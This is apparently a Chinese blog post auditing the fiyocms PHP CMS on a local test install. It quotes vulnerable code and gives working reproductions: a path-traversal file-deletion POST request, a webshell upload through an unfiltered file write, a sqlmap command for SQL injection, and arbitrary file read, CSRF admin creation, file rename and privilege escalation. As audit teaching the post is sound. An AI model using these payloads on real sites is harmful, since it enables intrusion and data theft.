zoukankan      html  css  js  c++  java
  • 2020/2/21 fiyocms代码审计

    0x00 前言

    上午上了网课,一上午就装好了cms,下午还有网课,要是结束的早就进行审计。
    解决了一下phpstudy使用过程中:

    Forbidden You don't have permission to access /install on this server.
    

    解决方法:
    加个index.php等入口文件
    2:
    其他选项菜单->软件设置->允许目录列表

    0x01 通读代码

    先看入口文件:
    index.php
    判断了一下config.php是否存在,不存在会进行安装cms
    否则包含system/core.php
    我们跟进。
    看到包含了一堆文件,我们跟进去读

    简单看了一下,就是创建数据库,链接数据库
    site.php
    过滤了很多非法字符
    最后删除Installer.php
    避免网站重装。
    user.php
    USER_LEVEL有分级

    0x02 根据审计结果来通读

    上面读了一些配置文件,接下来根据审计结果来读

    根据之前的审计经验,任意文件删除漏洞还是比较好找的,而且这种远古cms还挺多的233

    0x03 任意文件删除漏洞

    我们看

    /dapur/apps/app_config/controller/backuper.php
    

    15-30行

    if(isset($_POST['type'])) {         
    
          if($_POST['type'] == 'database') {        
    
                @unlink("../../../../.backup/$_POST[file]");          
    
                if(!file_exists('../../../../.backup'))
    
                      mkdir('../../../../.backup');             
    
                $date = md5(date("Ymd:His"));
    
                $file = "db-backup-$date";
    
                $c = backup_tables("*",'../../../../.backup',"$file",true);
    
                if($c)            {
    
                      $size = 
    format_size(filesize("../../../../.backup/$file.sql"));
    
                      $time = date("Y/m/d 
    H:i:s",filemtime("../../../../.backup/$file.sql"));   
    
                      $r = "$size - $time";
    
                      echo "{ :$file.sql, :$r}";
    
                      
    
                }
    
          }     
    
    

    和前几个cms一样
    通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作
    复现
    先创建一个文件

    payload:

    POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: bdshare_firstime=1581904550027; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=mdu33l281pnno5gpdb2ps6m4m4
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    
    type=database&file=../k0i.php
    
    

    成功复现

    这个cms多处都存在这个问题。

    0x04 文件上传漏洞

    还有一个文件上传漏洞
    位置

    /dapur/apps/app_theme/libs/save_file.php
    问题代码:

    require_once ('../../../system/jscore.php');
    
    $c = $_POST["content"];
    
    $f = $_POST["src"]; 
    
    
    
    
    
    $w = file_put_contents($f,$c);
    
    

    显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞

    复现

    在网站根目录下上传一个文件名为k0i.php的一句话木马文件,结果如下图

    0x05 SQL注入漏洞

    在通读了代码后发现这个cms并不像之前的sql语句多,可以试着去找有关数据库的页面,也可以试着全局搜索关键字如:"select","update"等等。
    我们看一下这一个SQL注入:
    事实上我们的审计结果也指向了此处:

    /system/database.php

    public function update($table,$rows,$where)
    
        {
    
            $update = 'UPDATE '.$table.' SET ';
    
            $keys = array_keys($rows);
    
                
    
            for($i = 0; $i < count($rows); $i++){
    
                if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !== 
    '+hits')
    
                {
    
                    $update .= $keys[$i].'="'.$rows[$keys[$i]].'"';
    
                }
    
                else
    
                {
    
                            if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]] 
    = $keys[$i] . '+'. 1;
    
                     $update .= $keys[$i].'='.$rows[$keys[$i]];
    
                }
    
    
    
                // Parse to add commas
    
                if($i != count($rows)-1)
    
                {
    
                    $update .= ',';
    
                }
    
            }
    
                      
    
            $update .= ' WHERE '.$where;       
    
    

    可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例
    全局搜索找一处

    if(isset($_GET['stat'])) {
    
          if($_GET['stat']=='1'){
    
                $db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']);
    
                alert('success',Status_Applied,1);
    
          }
    

    复现:

    sqlmap.py -r C:UsershpDesktop11.txt --batch --dbs
    

    0x06 任意文件读取漏洞

    问题代码:

    dapurappsapp_themelibscheck_file.php

    define('_FINDEX_','BACK');
    
    
    
    require_once ('../../../system/jscore.php');
    
    $file = $url= "$_GET[src]/$_GET[name]"; 
    
    $furl = "../../../$url";
    
    
    
    $content = strlen("$file") - 5;
    
    $content = substr("$file",$content);
    
    $file = strpos("$content",".");
    
    $file = substr("$content",$file+1);
    
    
    
    if($file == "html" || $file == "htm" || $file == "xhtml" || $file == 
    "js" ||
    
    $file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :
    
          $content = @file_get_contents($furl);
    
          $content = htmlentities($content);
    
    
    
    ?>
    

    我们看一下:

    当$file后缀名为指定文件后缀时:html、htm、xhtml、js、jsp、php、css、xml 的任意文件
    通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞

    复现

    0x07 CSRF添加超级用户

    /dapur/apps/app_user/sys_user.php

    第110-123行

    if(isset($_POST['save']) or isset($_POST['apply'])){
    
          $us=strlen("$_POST[user]");
    
          $ps=strlen("$_POST[password]");
    
          $user = $_POST['user'];
    
          $name = $_POST['name'];
    
          preg_match('/[^a-zA-Z0-9]+/', $user, $matches);
    
          if(!empty($_POST['password']) AND 
    
                !empty($_POST['user'])AND 
    
                !empty($_POST['name'])AND 
    
                !empty($_POST['email'])AND 
    
                !empty($_POST['level'])AND 
    
                $_POST['password']==$_POST['kpassword'] AND 
    
                $us>2 AND $ps>3 AND @ereg("^.+@.+..+$",$_POST['email']) AND 
    !$matches) {
    
                $qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d 
    H:i:s'),'',"$_POST[bio]")); 
    
    

    可以看到该程序实现了添加用户的功能,但是并没有使用token来防止CSRF攻击
    复现:

    利用bp自带的CSRF工具

    生成poc:
    当管理员点击我们的链接127.0.0.1/1.html时,会生成一个超级用户

    0x08 任意文件名修改漏洞

    dapurappsapp_configsys_config.php
    190-193行
    问题代码:

    er = $_POST['folder_new'];
    
                $old_folder = $_POST['folder_old'];
    
                if($old_folder != $new_folder) {
    
                      $ok = @rename("../$old_folder","../$new_folder");
    
    

    读一下他的功能是修改后台路径,但是没有对变量进行过滤

    复现:

    我们可以将 config.php 修改成 config.txt ,然后直接查看网站配置信息。

    0x09 越权漏洞

    fiyocms一共设置了5个用户组,等级为1-5,权限依次降低,而只有等级1-3有权限登录后台,不同等级具有不同的权限。

    super administrator = 1
    administrator = 2
    editor = 3
    publisher = 4
    member = 5
    

    位置:

    dapurappsapp_usersys_user.php
    148-211行

    if(isset($_POST['edit']) or isset($_POST['applyedit'])){
    
                $us=strlen("$_POST[user]");
    
                $ps=strlen("$_POST[password]");     
    
                $user = $_POST['user'];
    
                $name = $_POST['name'];
    
                $_POST["bio"] = htmlentities("$_POST[bio]");
    
                preg_match('/[^a-zA-Z0-9]+/', $user, $matches);
    
                if(!empty($_POST['user'])AND !empty($_POST['name'])AND 
    !empty($_POST['email'])AND !empty($_POST['level']) AND $us>2 AND 
    @ereg("^.+@.+..+$",$_POST['email']) AND !$matches) 
    
                {
    
                      $qr = false;
    
                      if($_POST['id'] == $_SESSION['USER_ID']) 
    $_POST['status'] = 1;
    
                      if(empty($_POST['password'])){
    
                            $qr = $db->update(FDBPrefix.'user',array(                   
    
                            "user"=>"$_POST[user]",
    
                            "name"=>"$_POST[name]",
    
                            "email"=>"$_POST[email]",
    
                            "status"=>"$_POST[status]",
    
                            "about"=>"$_POST[bio]",
    
                            "level"=>"$_POST[level]"),
    
                            "id=$_POST[id]"); }
    
                      elseif($_POST['password']==$_POST['kpassword']){
    
                            $qr = $db->update(FDBPrefix.'user',array(                   
    
                            "user"=>"$_POST[user]",
    
                            "name"=>"$_POST[name]",
    
                            "password"=>MD5("$_POST[password]"),
    
                            "email"=>"$_POST[email]",
    
                            "about"=>"$_POST[bio]",
    
                            "status"=>"$_POST[status]",
    
                            "level"=>"$_POST[level]"),
    
                            "id=$_POST[id]"); 
    
                            }
    
                            
    
                      if($qr AND isset($_POST['edit'])){        
    
                            notice('success',User_Saved);
    
                            redirect('?app=user');
    
                      }
    
                      else if($qr AND isset($_POST['applyedit'])){
    
                            notice('success',User_Saved); 
    
                            redirect(getUrl());                 
    
                      }
    
                      else {                        
    
                            notice('error',Status_Invalid,2);
    
                      }                             
    
                }
    
                else 
    
                {                       
    
                      notice('error',Status_Invalid,2);
    
                }
    
          }
    
    }
    

    可以看到程序在对用户账户进行操作前,并没有对用户的身份进行确认或者说没有对用户的权限进行检查,这也是越权漏洞产生的原因。
    复现:

    0x10 总结

    到此,这个cms算是审完了。
    先总结一下这个cms
    与之前审计的cms不同,漏洞主要集中在后台。
    而且漏洞的很多成因几乎都是未对用户提交的参数进行过滤处理。
    审计起来难度不大,对我这种小白还是很友好的233
    有什么收获呢:
    善用全局搜索,比如sql注入,我们可以全局搜索特定操作,如"uptate".
    对文件操作时,关注一下变量,是否有过滤,怎么拼接的。

  • 相关阅读:
    vault验证导出领域对象导入新的shecma是否生效
    开启vault下如何使用expdp
    vault创建领域不让sys/system访问,但是可以让其他用户访问
    vault应用例子(禁止sys用户访问其他用户下的表)
    11g关闭vault
    11g配置vault
    11g单节点配置em
    vue中 js获取图片尺寸 设置不同样式
    vue 模块化 路由拆分配置
    vue 弹窗时 监听手机返回键关闭弹窗(页面不跳转)
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12340884.html
Copyright © 2011-2022 走看看